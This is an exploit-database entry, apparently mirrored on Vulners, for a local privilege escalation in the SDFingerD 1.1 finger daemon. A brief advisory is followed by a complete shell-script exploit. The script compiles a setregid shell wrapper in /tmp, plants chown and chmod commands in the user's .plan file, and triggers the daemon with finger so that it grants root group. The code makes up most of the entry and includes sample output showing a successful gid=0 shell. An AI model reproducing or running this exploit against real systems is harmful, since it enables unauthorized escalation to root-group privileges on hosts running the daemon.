Lucene search
K

SDFingerD 1.1 - Failure To Drop Privileges Privilege Escalation

🗓️ 19 Jun 2003 00:00:00Reported by V9Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

SDFingerD 1.1 allows privilege escalation due to improper group privilege handling in .plan files.

Code
source: https://www.securityfocus.com/bid/7977/info

sdfingerd has been reported prone to a local privilege escalation vulnerability. The issue presents itself because the sdfingerd daemon fails to sufficiently drop group privileges before executing commands that are contained in a users .plan file. 

#!/bin/sh
# sdfingerd[v1.1]: local root(gid=0) exploit.
# by: vade79/v9 [email protected] (fakehalo)
#
# sdfingerd URL/reference:
#  http://www.schmolze.com/projects/sdfingerd/
#
# sdfingerd(Simple Dynamic Finger) is a finger
# daemon with the main focus of allowing users
# to be able to have dynamic .plan files.  dynamic
# as in allows users to place commands in their
# .plan file.  when a third party command is called,
# the user id privileges get set to that of the user
# being requested.  but, the group id is left as-is.
# since, this program is designed/defaulted to run
# as root via inetd, gid=0(root) is freely available.
#
# ----------------- example usage -----------------
# [v9@localhost v9]$ id
# uid=1001(v9) gid=1001(v9) groups=1001(v9)
# [v9@localhost v9]$ sh xsdfingerd.sh
# * sdfingerd[v1.1]: local root(gid) exploit.
# * by: vade79/v9 [email protected] (fakehalo)
# * exploit successful.
# -rwx--s--- 1 v9 root 13960 Jun 18 18:38 /tmp/xsh
# sh-2.04$ id
# uid=1001(v9) gid=0(root) groups=1001(v9)
# -------------------------------------------------
echo "* sdfingerd[v1.1]: local root(gid=0) exploit."
echo "* by: vade79/v9 [email protected] (fakehalo)"
rm -rf ~/.plan /tmp/xsh.c /tmp/xsh
cat <<_EOF_>/tmp/xsh.c
#include <unistd.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
 setregid(getegid(),getegid());
 execl("/bin/sh","sh",0);
 exit(0);
}
_EOF_
cc /tmp/xsh.c -o /tmp/xsh
cat <<_EOF_>~/.plan
\$!chown \`id -u\`.\`id -g\` /tmp/xsh!$
\$!chmod 2710 /tmp/xsh!$
_EOF_
finger ${USER}@localhost>/dev/null
rm -rf ~/.plan /tmp/xsh.c
if test -g "/tmp/xsh"
then
 echo "* exploit successful."
 ls -l /tmp/xsh
 /tmp/xsh
else
 echo "! exploit failed."
 rm -rf /tmp/xsh
fi

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation